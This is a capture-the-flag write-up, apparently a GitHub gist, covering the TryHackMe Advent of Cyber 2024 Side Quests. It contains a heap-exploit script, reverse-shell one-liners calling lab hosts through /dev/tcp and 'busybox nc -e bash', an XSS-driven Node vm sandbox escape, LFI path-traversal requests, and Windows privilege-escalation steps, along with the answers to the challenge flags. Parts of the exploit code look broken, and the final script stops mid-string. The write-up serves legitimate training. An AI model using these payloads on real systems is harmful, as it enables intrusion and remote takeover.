Skip to content

Instantly share code, notes, and snippets.

@Siss3l
Last active February 11, 2025 00:26
Show Gist options
  • Save Siss3l/8f304b21bef51bbf4e76182f090ee671 to your computer and use it in GitHub Desktop.
Save Siss3l/8f304b21bef51bbf4e76182f090ee671 to your computer and use it in GitHub Desktop.
TryHackMe Advent of Cyber 2024 SideQuests

TryHackMe - Advent of Cyber 2024 Side Quests

In addition to the Advent of Cyber 2024 room, we have an annex Side Quest task.

Side

Description

Five tasks need to be completed to finish the side quests.
The keycards to the machines will be scattered around the main Advent of Cyber 2024 room, hidden in some of the core event challenges.

  • The L1 keycard will be hidden between days 1 and 4;
  • The L2 keycard will be hidden between days 5 and 8;
  • The L3 keycard will be hidden between days 9 and 12;
  • The L4 keycard will be hidden between days 13 and 17;
  • The L5 keycard will be hidden between days 18 and 22.

T1: Operation Tiny Frostbite

Hint: What's with all these GitHub repos? Could they hide something else?

As with last year, we can use the Wireshark tool:

# https://github.com/Bloatware-WarevilleTHM C2
$ tshark -r chall.pcap -Y 'http' -T fields -e http.file_data | xxd -r -p | grep -a username=.*=
# https://github.com/creaktive/tsh
$ tshark -r chall.pcap -Y "tcp.port == 9001" -T fields -e ip.src -e ip.dst -e tcp.srcport -e tcp.dstport -e tcp.stream -e data
"zip -P ... elves.zip elves.sql"
$ tshark -r chall.pcap -q -z follow,tcp,raw,0 # AES
$ tshark -r chall.pcap -Y 'tcp' -e 'data' -Tfields | grep 504b0304 | xxd -r -p > data.zip
  • What is the password the attacker used to register on the site? e23878938b9f65e7f1cd5ae4c1162528
  • What is the password that the attacker captured? aeb56e96f42f9685f5153fa60fd80187
  • What is the password of the zip file transferred by the attacker? 2cd73f8746c9f9acbe6ba981be67994f
  • What is McSkidy's password that was inside the database file stolen by the attacker? 67f294f3eadc4b0e4b03499f8e3694d9

Meme

T2: Yin and Yang

Hint: Following McSkidy's advice, Software recently hardened the server. It used to have many unneeded open ports, but not anymore. Not that this matters in any way.

Your friendly neighborhood LLM quickly gives us the idea of ​​using Chisel to make the tunneling better.

# XXE local enumeration | https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity
yin@ip:~$  ./chisel server --port chisel --reverse
# http://wiki.ros.org/rospy
yang@ip:~$ ./chisel client yin:chisel R:11311:localhost:11311
# rospy.wait_for_service("yang")
$ aider /add * --edit-format code # Race condition may not work everytime
# We should change the rospy yang rate to get the secret channel
_ = __import__("rospy").ServiceProxy("*yang*", yang)(sec, "chmod 600 /catkin_ws/*.pem", "yang", "yin")
# Mostly the same for yin
$ chmod u+x /home/yang/bash && chown root:root /home/yang/bash && chmod u+s /home/yang/bash
$ cat /root/*
  • What is the flag for YIN? 459f90f69b0e9a4a60d875f75ef8ef89
  • What is the flag for YANG? 98cf02027de49f9512432a5ac60e290a

Yo

T3: Escaping the Blizzard

Hint: Where balances shift and numbers soar, look for an entry - an open door!

Enumerating the endpoints (as http://10.10.11.11:5000/transactions?id=valid_hash) will give us the right path to take.

# We download all that is available 
$ curl -H "Content-Type:application/json" -d '{"k":"..."}' http://10.10.11.11:21337/unlock
$ wget -r http://10.10.11.11/backup/
$ cat ~/Dockerfile
FROM ubuntu:22.04
EXPOSE 1337
RUN apt update && apt install -y ubuntu-standard && apt install -y socat gcc make bash nano kmod procps net-tools iputils-ping curl wget vim linux-headers-$(uname -r) libcap2-bin && rm -rf /var/lib/apt/lists/*
WORKDIR /root
COPY secureStorage /root/secureStorage 
COPY flag.txt /root/user.txt
COPY * /root/*
RUN chmod +x /root/*
ENTRYPOINT ["socat", "tcp-l:1337,reuseaddr,fork", "EXEC:/root/secureStorage"]

We understand that we will need to exploit the binary file in order to have a shell but the problem is that it use a custom compiled library.
Nevertheless if we look at the data online, we may find an article about heap exploitation similar to our case.

from custom_aider import *
from pwn import ELF, p64, remote, rop
from typing import *


def main():
    """
    Giving us a reverse shell after using corresponding values
    $ /bin/bash -l > /dev/tcp/10.10.10.11/1234 0<&1 2>&1
    https://github.com/david942j/one_gadget
    https://www.supernetworks.org/pages/blog/scapy-revfrag
    https://maxwelldulin.com/BlogPost/House-of-IO-Heap-Reuse
    """
    lib, proc = ELF("libc*"), remote("10.10.10.12", 1337)
    create(1-1, b"AAAAAAAAAAAAAAAAAAAAAAAA")
    tchunk = p64(hex(data_permit))
    edit(1-1, tchunk+b"AAAAAAAAAAAAAAAAAAAAAAAA")
    create(1, b"A"*3992); create(2, tchunk-b"0")
    ntchunk = p64(hex(data_chunk))
    lib.address = _*tchunk-b"`" - lib.symbols["main_arena"]
    edit(2-1, ntchunk+b"A"*3992)
    create(3, b"A"*3992)
    edit(1, b"A"*4000)
    edit(1, p64(ntchunk-b" ")+b"A"*3992)
    edit(3, p64(ntchunk)+b"A"*3992)
    create(4, b"A"*3992)
    edit(3, p64(ntchunk-b" ")+p64(274432+hex(tleak)-135168>>12^2141504+lib.address)+b"A"*3992)
    create(5, b"A"); create(6, b"AAAAAAAAAAAAAAAAAAAAAAAA") # size 0x38
    edit(4, p64(ffast)+b"A"*3992)
    create(7, p64(ffast)+b"A"*3992); create(8, b"A"*3992)
    edit(7, p64((ffast)-b" ")+p64(hex(tleak)+420864>>12^hex(stack)-312)+b"A"*3992)
    create(10-1, b"A") # size 0x38
    create(10, bytes([lib.address+rop.ROP(lib).ret.address,lib.address+rop.ROP(lib).rdi.address,
        next(lib.search(b"/bin/sh")),lib.address+rop.ROP(lib).ret.address,lib.sym["system"],lib.sym["exit"]]))
    proc.interactive()

if __name__ == "__main__":
    main()

The network was too unstable making it almost impossible to have a shell other than using VNC machine!

For the last part, we could use a Docker container penetration toolkit to get the /root/root.txt flag.

  • What is the content of the file foothold.txt? c3b5ba0d8c87357bd2efe8f08a4115b9
  • What is the content of the file user.txt? f1befdfdaf873bb2603bf5604b18cf9a
  • What is the content of the file root.txt? fbe4bbb33243e9b76fca7adcc49c2f79

T4: Krampus Festival

Hint: Good thing we had a backup of the CCTV application from yesterday. We got it running again in no time!

Using other apache2-config of /var/www/html instead of Splunk will help us find the /recordings/rec1337-deleted.mp4 video path.

Because of strange load balancing after multiple reboots due to irregularities, the AV wasn't enabled in some way.

$ curl -H "Content-Type:application/json" -d '{"k":"..."}' http://10.10.10.13:21337/unlock
root@ip:~# nmap -sS -p- 10.10.10.13
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
135/tcp   open  msrpc (Microsoft Remote Procedure Call)
139/tcp   open  netbios-ssn
143/tcp   open  imap  (Internet Message Access Protocol)
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5 (Kerberos Password Change)
587/tcp   open  submission
593/tcp   open  http-rpc-epmap
3389/tcp  open  ms-wbt-server (Windows-Based Terminal Server)
5985/tcp  open  wsman
9389/tcp  open  adws
21337/tcp open  unlock
49650/tcp open  unknown
# Guest share enabled AD
$ smbclient //10.10.10.13/ChristmasShare -U Guest
smb: \> mget "Designer (6).jpeg" steg.png approved.xlsx flag.txt
$ binwalk --dd='.*' *.*
# https://hackviser.com/tactics/pentesting/services/imap
$ telnet 10.10.10.13 143
"""
A01 LOGIN [email protected] SilentSnow1
A02 SELECT <mailbox>
A03 LIST <mailbox> *
* LIST (\HasNoChildren) "." "INBOX"
* LIST (\HasNoChildren) "." "Trash"
* LIST (\HasNoChildren) "." "Sent"
A04 SELECT INBOX
* 1 FETCH (RFC822 {3136}
Return-Path: [email protected]
Received: from [10.10.10.14] (ip-1.compute.internal [10.10.10.14]) by FISHER with ESMTPA
Content-Type: multipart/alternative; boundary="------------"
Message-ID: <[email protected]>
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Content-Language: en-US
To: [email protected]
From: SFC <[email protected]>
Subject: Request for Account Details to Identify Non-Personal Accounts
This is a multi-part message in MIME format.
--------------
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
Hi, I hope this message finds you well.
As part of our ongoing efforts to maintain an organized and efficient
system, we need to identify and remove user accounts that are not
designated as personal accounts. To proceed with this initiative, we
kindly request a document containing the account details of all
non-personal users.
The required details include:
  * Username
  * Password
  * Email address
  * Associated department/team (if applicable)
  * Account creation date (if available)
Please provide the information in a |.docx| format by/December 25th,
2024/ to ensure timely processing. If there are any concerns or
additional clarifications needed, feel free to reach out to me directly.
Your assistance in this matter is greatly appreciated and plays a
crucial role in improving our system's efficiency.
Thank you for your cooperation. Best regards.
--------------)
A05 QUIT
"""
# https://github.com/borjmz/aspx-reverse-shell/blob/master/shell.aspx of IIS
$ sudo apt install bloodhound.py
# Using bloodhound to find generic write
$ evil-winrm -i 10.10.10.15 -u Krampus_Shadow -H md5_hash
# https://lolbas-project.github.io inetpub
$ \> whoami /priv # SeImpersonatePrivilege
# https://github.com/antonioCoco/JuicyPotatoNG
$ ./potato && type root.txt
  • What is the content of flag.txt? ad6db8f5b09ecaec02636129f2e4e15b
  • What is the content of user.txt? 5357ea3790c2af20aa3ad93be1c3fee2
  • What is the content of root.txt? fee756aae8fa1a4f2b464fa2249783ac

T5: An Avalanche of Web Apps

Hint: The second penguin gave pretty solid advice. Maybe you should listen to him more.

Using Frida to call the zip function locally, we easily get the access.

Accordingly, we inspect what is on this last virtual machine:

# Konami code once again
$ vim -r .aocgame.cpp.swp && g++ -o game custom_aocgame.cpp && ./game 
# Starting the 'Ransomware Note #5' machine while waiting to be accessible.
$ openvpn --config file.ovpn
$ curl -H "Content-Type:application/json" -d '{"k":"..."}' http://10.10.11.11:21337/unlock
{"status":"ok"}
$ nmap -sS -p- 10.10.11.11
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
3000/tcp  open  ppp (Point-to-Point Protocol)
21337/tcp open  unlock
$ dig axfr @10.10.11.11 bestfestivalcompany.thm
"""
; (1 server found)
;; global options: +cmd
bestfestivalcompany.thm.              600    IN      SOA     bestfestivalcompany.thm. hostmaster.bestfestivalcompany.thm. 1 1200 180 2 600
bestfestivalcompany.thm.              600    IN      NS      bestfestivalcompany.thm.
bestfestivalcompany.thm.              600    IN      NS      0.0.0.0/0.
adm-int.bestfestivalcompany.thm.      600    IN      A       172.16.x.x
thehub-int.bestfestivalcompany.thm.   600    IN      A       172.16.x.x
thehub-uat.bestfestivalcompany.thm.   600    IN      A       172.16.x.x
thehub.bestfestivalcompany.thm.       600    IN      A       172.16.x.x
npm-registry.bestfestivalcompany.thm. 600    IN      A       172.16.x.x
bestfestivalcompany.thm.              600    IN      SOA     bestfestivalcompany.thm. hostmaster.bestfestivalcompany.thm. 1 1200 180 2 600
;; Query time: 20 msec
;; XFR size: 9 records (messages 1, bytes 460)
"""
$ echo 10.10.11.11  bestfestivalcompany.thm hostmaster.bestfestivalcompany.thm npm-registry.bestfestivalcompany.thm thehub-int.bestfestivalcompany.thm thehub-uat.bestfestivalcompany.thm adm-int.bestfestivalcompany.thm thehub.bestfestivalcompany.thm >> /etc/hosts  # echo 10.10.11.11 >> /etc/resolv.conf
$ curl http://thehub.bestfestivalcompany.thm/
"""
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>The BFC Hub</title>
  <link rel="stylesheet" href="/css/styles.css">
</head>
<body>
  <div class="container">
    <div class="message-box">
      <h1>The BFC Hub</h1>
      <p>The BestFestivalCompany Hub is under construction. We apologize for the inconvenience.</p>
    </div>
  </div>
</body>
</html>
"""
$ curl http://npm-registry.bestfestivalcompany.thm/
"""
<title>Verdaccio</title>
<link rel="icon" href="http://npm-registry.bestfestivalcompany.thm/-/static/favicon.ico"/>
<meta name="viewport" content="width=device-width, initial-scale=1"/>...
"""

Looking at the subdomains, we can see a list of packages used by the other application.
The author McSkidy (as well as Anonymous) quickly puts us in the right direction:

http://npm-registry.bestfestivalcompany.thm/-/web/detail/markdown-converter
markdown-converter | McSkidy
v1.0.0
ERROR: No README data found!
A custom markdown converter developed by the BFC developers.
Published 1 day ago

https://github.com/DiegoRBaquero/node-vm.git
node-vm | NodeJS Core Module Extended.
Diego Rodríguez Baquero
v0.1.0 MIT
Published 1 day ago

https://github.com/expressjs/express.git
express | Fast, unopinionated, minimalist web framework.
TJ Holowaychuk
v4.21.2 MIT
Published 1 day ago

We then use fuzzing tools to find some interesting files in other domains with Local File Inclusion attack technique:

const express = require('express'); // curl "http://thehub-uat.bestfestivalcompany.thm:3000/../index.js" --path-as-is
const { bootstrap } = require('@vendure/core');
const { AssetServerPlugin } = require('@vendure/asset-server-plugin');
const path = require('path');
const { createProxyMiddleware } = require('http-proxy-middleware');
const sqlite3 = require('sqlite3').verbose();
const config = {
  apiOptions: {
    port: 3001,
    shopApiPath: 'disabled-shop-api',
    adminApiPath: 'disabled-admin-api',
  },
  dbConnectionOptions: {
    type: 'sqlite',
    synchronize: true,
    database: path.join('data', 'vendure.sqlite'), // Docker-compatible database path
  },
  plugins: [
    AssetServerPlugin.init({
      route: '/', // Serve assets from the root route
      assetUploadDir: path.join(__dirname, 'assets'),
    }),
  ],
};
function hostCheck(req, res, next) {
  const allowedHost = 'thehub-uat.bestfestivalcompany.thm:3000'; // Replace with your allowed host
  const currentHost = req.headers.host;
  console.log(currentHost);
  if (currentHost !== allowedHost) {
    return res.redirect('http://thehub.bestfestivalcompany.thm'); // Redirect if host does not match
  }
  next();
}
const app = express();
app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, 'views')); // Middleware to parse form data
app.use(express.urlencoded({ extended: true }));
app.use(hostCheck); // Restrict access to .git files
function restrictGitAccess(req, res, next) {
  if (req.path.startsWith('/.git')) {
    return res.status(403).send('Forbidden: Access to .git files is not allowed.');
  }
  next();
} // Initialize SQLite database
const db = new sqlite3.Database('/data/app.db', (err) => {
  if (err) {
    console.error('Failed to connect to the database:', err.message);
  } else {
    console.log('Connected to SQLite database.');
    db.run(
      `CREATE TABLE IF NOT EXISTS contact_messages (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        email TEXT NOT NULL,
        message TEXT NOT NULL
      )`,
      (err) => {
        if (err) {
          console.error('Failed to create table:', err.message);
        }
      }
    );
  }
});
(async () => {
  await bootstrap(config);
  app.use('/image', express.static(path.join(__dirname, 'public/image')));
  app.use('/', restrictGitAccess); // Home route: Render the index page for root requests
  app.get('/', (req, res) => {
    const profiles = [
      { name: 'Van Sprinkles', role: 'Software Development', image: '/van-sprinkles.svg' },
      { name: 'Van Jolly', role: 'HR', image: '/van-jolly.svg' },
      { name: 'Van Twinkle', role: 'Cyber Security', image: '/van-twinkle.svg' },
      { name: 'Van Holly', role: 'Identity and Access Management', image: '/van-holly.svg' },
      { name: 'Van Frosty', role: 'Toy Engineering', image: '/van-frosty.png' },
    ];
    res.render('index', { profiles });
  }); // Contact form submission handler
  app.post('/contact', (req, res) => {
    const { email, message } = req.body;
    if (!email || !message) {
      return res.status(400).send('Email and message are required.');
    }
    const query = `INSERT INTO contact_messages (email, message) VALUES (?, ?)`;
    db.run(query, [email, message], function (err) {
      if (err) {
        console.error('Failed to save contact message:', err.message);
        return res.status(500).send('Failed to save your message. Please try again later.');
      }
      console.log(`Message saved: ID=${this.lastID}, Email=${email}`);
      res.send(`
        <!DOCTYPE html>
        <html lang="en">
          <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Thank You</title>
            <link rel="stylesheet" href="/css/styles.css">
          </head>
          <body class="thank-you">
            <div class="message">
              <h1>Thank You for Contacting Us!</h1>
              <p>Your message has been saved.</p>
              <img src="/image/christmas.gif" width="100px" alt="Christmas Image" class="christmas-image">
            </div>
            <div class="footer">Stay warm and enjoy the holiday season!</div>
            <form action="/" method="GET">
              <button type="submit" class="btn-success btn-enlarge action-btn">Home</button>
            </form>
          </body>
        </html>
      `);
    });
  });
  app.use('/css', express.static(path.join(__dirname, 'public/css'))); // Proxy middleware: Pass only API requests to the Vendure API
  app.use((req, res, next) => {
    if (req.path.endsWith('.css')) {
      res.setHeader('Content-Type', 'text/css');
      return next();
    }
    if (req.path.endsWith('.jpg')) {
      res.setHeader('Content-Type', 'image/jpeg');
      return next();
    }
    if (req.path.endsWith('.svg')) {
      res.setHeader('Content-Type', 'image/svg+xml');
      return next();
    }
    if (req.path === '/' || req.path.startsWith('/contact')) { // Skip the proxy for homepage and contact routes
      return next();
    } // Proxy all other requests to the Vendure API
    createProxyMiddleware({
      target: 'http://localhost:3001',
      changeOrigin: true,
    })(req, res, next);
  });
  const PORT = 3000;
  app.listen(PORT, () => {
    console.log(`Express server is running on http://localhost:${PORT}`);
  });
})();

Although we do not need to download everything.

const express = require('express');
const sqlite3 = require('sqlite3').verbose();
const path = require('path');
const bodyParser = require('body-parser');
const session = require('express-session');
const bcrypt = require('bcrypt');
const { markdownToHtml } = require('markdown-converter');
const app = express(); // curl "http://thehub-uat.bestfestivalcompany.thm:3000/../../../proc/self/environ" --path-as-is --output - # PWD=/app/bfc_thehubint
const PORT = 5000;     // && curl "http://thehub-uat.bestfestivalcompany.thm:3000/../../../app/bfc_thehubint/index.js" --path-as-is
const SALT_ROUNDS = 10;
const invalidCredentialsPage = `
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Invalid Credentials</title>
  <link rel="stylesheet" href="/css/styles.css">
</head>
<body>
  <!-- Banner Section -->
  <header class="banner">
    <h1>Access Denied</h1>
  </header>
  <section class="layout-section">
  <div class="layout-box">
  <div class="wrapper" style="height: 100%;">
  <p class="invalid">Invalid credentials. Please try again.</p>
  <a class="btn-enlarge" href="/">Back to Login</a>
  </div>
  </div>
  </section>
</body>
</html>
`;
app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, 'views'));
app.use('/css', express.static(path.join(__dirname, 'public/css')));
app.use('/images', express.static(path.join(__dirname, 'public/images')));
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'public')));
app.use(
  session({
    secret: 'supersecretkey',
    resave: false,
    saveUninitialized: true,
  })
);
const db = new sqlite3.Database('/data/app.db', (err) => {
  if (!err) {
    db.run(
      `CREATE TABLE IF NOT EXISTS users (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        username TEXT NOT NULL,
        password TEXT NOT NULL
      )`
    );
    db.run(
      `CREATE TABLE IF NOT EXISTS wiki_pages (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        title TEXT NOT NULL,
        content TEXT NOT NULL,
        created_at DATETIME DEFAULT CURRENT_TIMESTAMP
      )`
    );
    db.run(
      `CREATE TABLE IF NOT EXISTS contact_messages (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        email TEXT NOT NULL,
        message TEXT NOT NULL
      )`
    );
  }else{
    console.error(err);
  }
});
function validateSession(req, res, next) {
  const userIP = req.connection.remoteAddress;
  if (req.session.user && req.session.ip && req.session.ip !== userIP) {
    req.session.destroy(() => {
      res.status(401).send('Session revoked due to IP mismatch. Please log in again.');
    });
  } else {
    next();
  }
}
function requireLogin(req, res, next) {
  if (!req.session.user) {
    return res.redirect('/');
  }
  next();
}
app.get('/', (req, res) => {
  if (req.session.user) {
    return res.redirect('/dashboard');
  }
  res.render('index', { title: 'The Hub' });
});
app.post('/login', (req, res) => {
  const { username, password } = req.body;
  const userIP = req.connection.remoteAddress;
  db.get(
    `SELECT * FROM users WHERE username = ?`,
    [username],
    (err, user) => {
      if (user) {
        bcrypt.compare(password, user.password, (err, isMatch) => {
          if (isMatch) {
            req.session.user = user;
            req.session.ip = userIP;
            return res.redirect('/dashboard');
          }
          res.send(invalidCredentialsPage);
        });
      } else {
        res.send(invalidCredentialsPage);
      }
    }
  );
});
app.get('/dashboard', validateSession, requireLogin, (req, res) => {
  res.render('dashboard');
});
app.get('/contact-responses', requireLogin, (req, res) => {
  const page = parseInt(req.query.page) || 1;
  const limit = 5;
  const offset = (page - 1) * limit;
  db.all(
    `SELECT * FROM contact_messages LIMIT ? OFFSET ?`,
    [limit, offset],
    (err, responses) => {
      if (err) {
        return res.status(500).send('Database error.');
      }
      db.get(
        `SELECT COUNT(*) AS total FROM contact_messages`,
        (err, row) => {
          const totalPages = Math.ceil(row.total / limit);
          res.render('contact_responses', {
            responses,
            currentPage: page,
            totalPages,
          });
        }
      );
    }
  );
}); // WIKI listing
app.get('/wiki', requireLogin, (req, res) => {
  db.all(`SELECT * FROM wiki_pages`, (err, pages) => {
    res.render('wiki', { pages });
  });
}); // WIKI creation form
app.get('/wiki/new', requireLogin, (req, res) => {
  res.render('wiki_new');
});
app.post('/wiki', requireLogin, (req, res) => {
  const { title, markdownContent } = req.body;
  const htmlContent = markdownToHtml(markdownContent);
  db.run(
    `INSERT INTO wiki_pages (title, content) VALUES (?, ?)`,
    [title, htmlContent],
    (err) => {
      if (err) {
        return res.status(500).send('Database error.');
      }
      res.redirect('/wiki');
    }
  );
});
app.get('/wiki/:id', requireLogin, (req, res) => {
  const wikiId = req.params.id;
  db.get(`SELECT * FROM wiki_pages WHERE id = ?`, [wikiId], (err, page) => {
    if (err) {
      return res.status(500).send('Database error.');
    }
    if (!page) {
      return res.status(404).send('Page not found.');
    } // Render the WIKI content
    res.render('wiki_page', { title: page.title, content: page.content });
  });
});
app.listen(PORT, () => {
  console.log(`Server running at http://localhost:${PORT}`);
});

// curl "http://thehub-uat.bestfestivalcompany.thm:3000/../../../app/bfc_thehubint/node_modules/markdown-converter/index.js" --path-as-is
const vm = require('vm');
function markdownToHtml(markdown, context = {}) {
  let html = markdown
    .replace(/^# (.*$)/gim,     '<h1>$1</h1>')
    .replace(/^## (.*$)/gim,    '<h2>$1</h2>')
    .replace(/^### (.*$)/gim,   '<h3>$1</h3>')
    .replace(/^\* (.*$)/gim,    '<li>$1</li>')
    .replace(/\*\*(.*)\*\*/gim, '<b>$1</b>')
    .replace(/\*(.*)\*/gim,     '<i>$1</i>');
  const dynamicCodeRegex = /\{\{(.*?)\}\}/g;
  html = html.replace(dynamicCodeRegex, (_, code) => {
    try {
      const sandbox = { ...context, require, };
      return vm.runInNewContext(code, sandbox);
    } catch (error) {
      return `<span style="color:red;">Error: ${error.message}</span>`;
    }
  });
  return html;
}
module.exports = { markdownToHtml };

Therefore we understand better the layout of this challenge and figure out that a .git folder may exists for a reason:

$ curl "http://thehub-uat.bestfestivalcompany.thm:3000/-/../.git/config" --path-as-is
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        ignorecase = true
        precomposeunicode = true
[remote "origin"]
        url = [email protected]:bfcthehubuat
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main
[user]
        name = bfc_admin
        email = [email protected]
$ curl "http://thehub-uat.bestfestivalcompany.thm:3000/-/../.git/HEAD" --path-as-is
ref: refs/heads/main
$ git restore --staged private.key && chmod 600 private.key && ssh [email protected] -i private.key # Get admdev, admint

Another useful content here:

const express = require('express'); // ./admint/index.js
const bodyParser = require('body-parser');
const jwt = require('jsonwebtoken');
const axios = require('axios');
const RemoteManager = require('bfcadmin-remote-manager');
const fs = require('fs');
const { JWK } = require('node-jose');
const app = express();
const PORT = 3000;
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));
let JWKS = null; // Fetch JWKS
async function fetchJWKS() {
  try {
    console.log('Fetching JWKS...');
    const response = await axios.get('http://thehub-uat.bestfestivalcompany.thm:3000/jwks.json');
    const fetchedJWKS = response.data;
    if (validateJWKS(fetchedJWKS)) {
      JWKS = fetchedJWKS;
      console.log('JWKS validated and updated successfully.');
    } else {
      console.error('Invalid JWKS structure. Retaining the previous JWKS.');
    }
  } catch (error) {
    console.error('Failed to fetch JWKS:', error.message);
  }
} // Validate JWKS
function validateJWKS(jwks) {
  if (!jwks || !Array.isArray(jwks.keys) || jwks.keys.length === 0) {
    return false;
  }
  for (const key of jwks.keys) {
    if (!key.kid || (!key.x5c && (!key.n || !key.e))) {
      return false;
    }
  }
  return true;
} // Periodically fetch JWKS every 1 minute
setInterval(fetchJWKS, 60 * 1000);
fetchJWKS(); // Middleware to ensure JWKS is loaded
function ensureJWKSLoaded(req, res, next) {
  if (!JWKS || !JWKS.keys || JWKS.keys.length === 0) {
    return res.status(503).json({ error: 'JWKS not available. Please try again later.' });
  }
  next();
} // Middleware to authenticate JWT
async function authenticateToken(req, res, next) {
  const token = req.headers.authorization?.split(' ')[1];
  if (!token) return res.status(401).json({ error: 'Unauthorized' });
  try {
    const key = JWKS.keys[0];
    let publicKey;
    if (key?.x5c) {
      publicKey = `-----BEGIN CERTIFICATE-----\n${key.x5c[0]}\n-----END CERTIFICATE-----`;
    } else if (key?.n && key?.e) {
      const rsaKey = await JWK.asKey({
        kty: key.kty,
        n: key.n,
        e: key.e,
      });
      publicKey = rsaKey.toPEM();
    } else {
      return res.status(500).json({ error: 'Public key not found in JWKS.' });
    }
    jwt.verify(token, publicKey, { algorithms: ['RS256'] }, (err, user) => {
      if (err || user.username !== 'mcskidy-adm') {
        return res.status(403).json({ error: 'Forbidden' });
      }
      req.user = user;
      next();
    });
  } catch (error) {
    res.status(500).json({ error: 'Failed to authenticate token.', details: error.message });
  }
} // SSH configuration
const sshConfig = {
  host: '', // Supplied by the user in API requests
  port: 22,
  username: 'root',
  privateKey: fs.readFileSync('./root.key'),
  readyTimeout: 5000,
  strictVendor: false,
  tryKeyboard: true,
}; // Restart service
app.post('/restart-service', ensureJWKSLoaded, authenticateToken, async (req, res) => {
  const { host, service } = req.body;
  if (!host || !service) {
    return res.status(400).json({ error: 'Missing host or serviceName value.' });
  }
  try {
    const manager = new RemoteManager({ ...sshConfig, host });
    const output = await manager.restartService(service);
    res.json({ message: `Service ${service} restarted successfully`, output });
  } catch (error) {
    res.status(500).json({ error: 'Failed to restart service', details: error.message });
  }
}); // Modify resolv.conf
app.post('/modify-resolv', ensureJWKSLoaded, authenticateToken, async (req, res) => {
  const { host, nameserver } = req.body;
  if (!host || !nameserver) {
    return res.status(400).json({ error: 'Missing host or nameserver value.' });
  }
  try {
    const manager = new RemoteManager({ ...sshConfig, host });
    const output = await manager.modifyResolvConf(nameserver);
    res.json({ message: 'resolv.conf updated successfully', output });
  } catch (error) {
    res.status(500).json({ error: 'Failed to modify resolv.conf', details: error.message });
  }
}); // Reinstall Node.js modules
app.post('/reinstall-node-modules', ensureJWKSLoaded, authenticateToken, async (req, res) => {
  const { host, service } = req.body;
  if (!host || !service) {
    return res.status(400).json({ error: 'Missing host or service value.' });
  }
  try {
    const manager = new RemoteManager({ ...sshConfig, host });
    const output = await manager.reinstallNodeModules(service);
    res.json({ message: `Node modules reinstalled successfully for service ${service}`, output });
  } catch (error) {
    res.status(500).json({ error: 'Failed to reinstall node modules', details: error.message });
  }
}); // Start server
app.listen(PORT, () => {
  console.log(`Server running on http://localhost:${PORT}`);
});

If we check the code made by McSkidy, with any RAG, we spot that we must exploit the vm package to have some reverse shell within our internal virtual IP address.
Going on the http://thehub-uat.bestfestivalcompany.thm:3000/contact page to submit the payload:

<script>
fetch("/wiki", { // name=0&email=0@0&message=payload
    method: "POST", headers: {"Content-Type":"application/x-www-form-urlencoded"},
    body: `title=poc&markdownContent={{WebAssembly.compileStreaming({[Symbol.for("nodejs.util.inspect.custom")]:(depth,opt,inspect)=>{inspect.constructor("return process")().mainModule.require("child_process").execSync("busybox nc 10.10.11.12 4444 -e bash")},valueOf:undefined,constructor:undefined}).catch(()=>{});}}`
});
</script>
$ nc -lvnp 4444 # From our host | https://explainshell.com/explain?cmd=nc%20-lvnp%204444
Connection received on 10.10.11.12 49000 # Do not close
$ id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys)...
$ pwd
/app/bfc_thehubint
$ cat package.json
{
  "dependencies": {
    "bcrypt": "^5.1.1",
    "body-parser": "^1.20.3",
    "ejs": "^3.1.10",
    "express": "^4.21.1",
    "express-session": "^1.18.1",
    "markdown-converter": "^1.0.0",
    "sqlite3": "^5.1.7",
    "vm": "^0.1.0"
  }
}
$ cat /flag*

We then dig in the code of the internal admin folder to comprehend the context of the JWT and network commands.
Fortunately, thanks to our first shell, we can rewrite mostly whatever we want to our advantage:

$ cat jwks.json
{
  "keys": [
    {
      "alg": "RS256",
      "use": "sig",
      "kty": "RSA",
      "kid": "...",
      "e": "AQAB",
      "n": "..."
    }
  ]
}
$ echo -n "jwks_base64" > poc && base64 -d poc > jwks.json && rm poc # {"username":"bfcdev-admin"}
$ npm publish # /app/bfc_thehubint/node_modules/express
$ npm pkg fix # require('child_process')
$ curl http://npm-registry.bestfestivalcompany.thm:3000/modify-resolv ... -d '{"host":"172.16.x.x","nameserver":"10.10.11.12"}'
# zone bestfestivalcompany.thm/IN: loaded serial 1

Since we are dealing with pretty much the same type of challenge as last years, a python code will be enough to flag:

  • Using our XSS as in the markdown-converter code with LFI to have a first shell;
  • This shell is used to retrieve an OpenSSH private key to list all folders on the server for recon;
  • Exploiting the vulnerable code of the admin to get another shell;
  • Using this new shell to find another OpenSSH private key and do as before, while committing;
  • Getting the last shell with sudo git-diff to find and read the latest challenge flag.
from multiprocessing import Process
from pathlib import Path
from pwn import listen
from requests import post
from subprocess import run


def xss(ip:str):
    """
    Sending the XSS to the vulnerable endpoint, to prepare the first shell.
    Be careful not to overfill "/data/app.db" database file.
    https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting#steal-page-content
    """
    exp = {
        "name":"0", "email":"0@0",
        "message": """<script>fetch("/wiki",{
            method: "POST", headers: {"Content-Type":"application/x-www-form-urlencoded"},
            body: `title=poc&markdownContent={{WebAssembly.compileStreaming({[Symbol.for("nodejs.util.inspect.custom")]:
            (depth,opt,inspect)=>{inspect.constructor("return process")().mainModule.require("child_process").execSync("busybox nc """ + \
